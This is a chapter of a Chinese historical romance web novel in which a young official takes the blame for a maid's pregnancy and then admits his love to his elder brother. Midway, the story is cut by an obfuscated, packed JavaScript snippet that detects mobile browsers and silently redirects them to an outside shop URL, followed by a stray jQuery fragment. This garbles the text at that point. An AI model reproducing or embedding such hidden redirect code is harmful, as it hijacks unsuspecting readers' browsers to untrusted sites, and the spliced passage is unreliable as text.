等大夫包扎好离去后。房内便只剩下沈时舟和慕容枝二人。
“还疼吗?”
慕容枝摇了摇头。
他伸手将被角往上拢了拢,“湘儿自幼便调皮,往日里我都是不许他进来我院中的,你是不知再他打坏了这府里的多少东西。”
慕容枝噗呲一声笑了出来,怪不得一开始进来时探头探脑,鬼鬼祟祟地,原来是被他下了命令不许进来。
“笑什么。”
“没什么。”
“还有,你头受伤了,这段日子便静养着就行,院中的活一律不许做了。”
“可我——”
“我这院中难不成还需得你一女子来做才能开门见人吗?你就好好躺着休息,母亲那里我自会去说。”
沈时舟一条一条细心地叮嘱着,语气温柔,眼里也藏着遮不住的深情。
“看他那着急的模样,我还以为你是他新娶的娘子呢?”
大娘子的话萦绕在耳畔,慕容枝虽不知他的心意,可她已经是为爱死过一次的人,对这世间情爱早就失去了冲动。自然也不会再对另一个人动心。
沈公子待自己极好,若真如大娘子所说,她也不愿耽误他。
“公子。”她怯生生开口,“我——”
门被人猛地推开,阿贵跪在地上,“公子。夫人唤你去前厅呢?”
“去前厅便去去前厅,着急忙慌作甚?”
“夫人的脸色不好,怕是要动怒了,你快些去吧。”
沈时舟心中一沉,莫不是刚才他唬湘儿那一声,传到母亲耳中了。
俯身靠近,轻轻在耳边说道,“等我回来。”
前厅内,沈夫人端坐在案边脸色铁青,眸中盛满盛怒,刚才给阿枝诊脉包扎的大夫也跪倒在地。不敢抬起头来。
屋内气氛骤然绷紧,满室皆是剑拔弩张之意。四下寂静,仿佛只听得见彼此呼吸。
他扫视了一圈,湘儿并未在屋里,嫂嫂也眉头紧锁,仿佛知晓了什么不得了的大事。
“母亲。”他走到跟前躬身行礼。
“跪下!”
怎么又跪下。今日母亲又是搭错哪根筋了,阿枝还在屋里等着自己,怎么又来搞家法伺候那一套!
“孩儿跪可以,只是男儿膝下有黄金,母亲理应告知我犯了什么错。”
“好,李大夫,你来同他讲讲刚才你同我说了些什么?”
诊脉,包扎伤口,还能说什么?沈时舟还游离在紧张的氛围外。
“回沈夫人,沈大人房中的姑娘已有一月多身孕了。”
身孕!他的脑子在听到身孕一词后轰然炸开,一阵刺耳的鸣声后仿佛世界安静了下来,他再也听不到其他的。
良久,他忽然揪住大夫的衣领,将他从地上拽起来,“你这庸医,若在胡言乱语,我找人将你舌头割去。”
“小的并没有说谎,那榻上姑娘确实有身孕,老夫行医数十年,是断断不会诊错的!”
沈时舟像被人忽然间抽去了所有力气,原来抓着大夫衣领的双手也松开垂到了身子两侧,颤颤巍巍地跪在了地上。
他不能接受她未成亲便有孕的事实,他更加不能接受她一介女子以后生活在别人的非议之中。
“舟儿,我自你启蒙起便教你礼法纲常行事有礼有度,未成亲不能与人苟合,污清白女子名声。如今你房中女子有孕,你如何同我解释!”
“母亲,你且消消气,我瞧着二人郎有情妾有意,不如成全了这份姻缘。”她一边劝和一边抬手示意李大夫退下。
可沈夫人在气头上,哪听得进去这些话。
“昨日李参军女儿到府上小叙,多好的家世样貌,你左右是瞧不起。我寻思你眼光能有多高,便是中意了区区一个婢女,她怎能与阿薇相提并论!”
“如何不能!母亲持门第偏见,将人分做三六九等,可在孩儿心中,这世间女子并无不同,左右不过是孩儿能不能中意便是!若孩儿中意,便是深山里的农女也在孩儿心中分量有千斤重!”
“好,既然你中意她,你可有想过你父亲那如何交代,舟儿,你同母亲讲句实话,那婢女腹中胎儿可是你的!你可却行了不轨之事?”
沈时舟垂着眼帘,长长的睫毛不住轻颤,心口翻涌万千心绪,却死死咬住下唇,不肯露出半分失态。
若是自己说了实情,那阿枝伤情未好,依了母亲的性子今夜就得将她赶出府去。
“是孩儿的。”他强压住内心的悲愤,还是不愿见她受伤,所以一切他愿意自己扛起来!
众人闻言皆错愕,他知道今夜过后,他不再是那个清冷自持的公子,有了更重要的担子要扛起来。
“混账东西!你昨日说今日便生,便是这个生法,看我不打断你的腿。”
沈夫人抄起旁边木棍朝着他后背便砸了下去。沈时舟紧闭双唇,不让自己发出任何闷哼声。
唐婉见状赶忙上前拉住她,“母亲,万万不可,明日二郎还有去府衙,若砸坏了身子,耽误他公事便不好了。”
沈夫人猛地坐回了椅子上,眼前一阵发晕。
“母亲!”
“母亲!”
二人皆惊呼,唯恐她伤了身子。
“你且去家庙跪着,待你父亲兄长回来再定夺。”沈夫人眼眸闭着,唇瓣抿得紧紧的,不去看堂下的孩儿。
他做了错事,做母亲的责任更大。虽打在他身,实则疼在她心。
“快些去吧。”唐婉提醒,“你留在这母亲看到只会更生气。”
沈时舟喉头滚动,话到嘴边,又硬生生憋了回去。“好,麻烦嫂嫂照顾好母亲。”
刚过申时,沈时清便拖着疲惫的身子回了太守宅院内。
“怎么今日回地晚了些,不是告诉你要早些回吗?”唐婉忍不住多抱怨了两句。
“是是是,娘子批评的有理,只是公务多些,所以回来地晚了些,还望娘子多多担待。”说着便欲倾身亲吻。
唐婉躲开,“让别人瞧见了。”
“瞧见怎么了,我明媒正娶的娘子我乐意亲,咱们夫妻恩爱多少人还羡慕不来呢?”
唐婉赶紧抬手将食指轻轻抵在唇前,微微蹙眉,做了个噤声的手势,低声“嘘”了一声。
“怎么了?”
“今日府上发生了件大事,你可别乱说话。”
不过就是半日多不见,他轻笑一声,“左右不过家事争执,还能有什么大事。”
“确是家事争执,也,确是大事!”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945110|214033||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抿着嘴角,腮帮也鼓鼓地,漏出一抹意味深长的笑,“你先去见过母亲吧。”
中堂室内,屏退了仆婢,只余下父亲母亲二人分坐东西坐榻。
“什么?”沈时清不禁倒吸一口凉气,断断不敢相信自己听到的,“父亲母亲定是搞错了吧。”
他了解自己胞弟,就算给二弟几百个胆子,他也不敢对清白女子行不轨之事。
“舟儿亲口承认的,可还会有假?”她也希望是假的,当初想着寻个女子贴身照料,没想到他舟儿竟闯下如此祸事!
“会不会中间有什么误会!”眼见母亲不做声,他便转头看向父亲,“此等荒唐之事,父亲也相信?”
“李大夫之言有孕之事在先,舟儿自己承认在后,此事还能作了了假。”
沈太守无奈叹气,自己孩儿自幼端方有礼,如今做下此等错事,他脸上的面子自然是挂不住。
他垂眸深思。知祸事已成,再去多训斥也无济于事。若流言四起,恐对舟儿仕途有所影响。当务之急要尽快寻个解决之策,来保全他孩儿。
“清儿,你去家庙将舟儿寻来,我与你母亲有事同他讲。”
“孩儿这就去。”沈时清躬身行礼退下。
虽然父亲母亲言之凿凿,可他总觉得事情过于蹊跷。他自幼与胞弟关系要好,也深知他的品性,若非亲耳听到,他是不会相信的。
想到这,他加快了脚下的步伐。家庙距中堂不过几十步,可每走一步他的担忧便多了一分。
家庙内,沈时舟跪在地上,眼眸微垂着,眉间紧蹙着,却有着止不住的倦意。
这一天发生的事太多,多到超出了他所能承受的范围。
他不知如何面对家父,亦不知如何面对阿枝。
“阿舟。”
“大哥。”直至看到沈时清的那刻,他瞬间破溃,眼中噙满了泪水,原来他伪装已久的坚强在从小疼爱自己的兄长面前如此不堪一击。
“莫要说了,我都知晓了。”
“大哥你不问问——”
沈时清摇了摇头,轻拍了拍他的肩膀,“看到你的那刻我便全都懂了。你我兄弟二人小时候可是好到要穿一条裤子呢,你难不成忘了吗?”
他低头轻笑,“怎么会忘。我要穿大哥衣服,母亲训斥我,我也全然不顾。”
他明白大哥的今日的安慰,心底郁结的烦闷也稍稍散去。
“走吧,父亲母亲还在中堂等着我们呢。”沈时清将他轻轻从地上拉起来,替他整理了整理衣冠,“既在父亲面前认下了,以后可是要负起责任的人了。平日里言行穿着谨慎些。”
“父亲有说怎么办吗?他会将阿枝赶出府吗?”沈时舟急切地问道。
“那你喜欢她吗?”
沈时清的一句话像一个石子砸进了平静的湖面,泛起了阵阵涟漪。
他喜欢阿枝吗?他从未好好问过自己。
良久,他抬起头,郑重其事,“我喜欢阿枝,我想娶她。”
“不愧是我的好弟弟。”沈时清拍拍他的肩膀,“既然你想做,那父亲便阻止不了什么。你会护住她的对吗?”
“我会!”
这一次他终于敢直面自己的真心,在初次相遇时便早已倾心。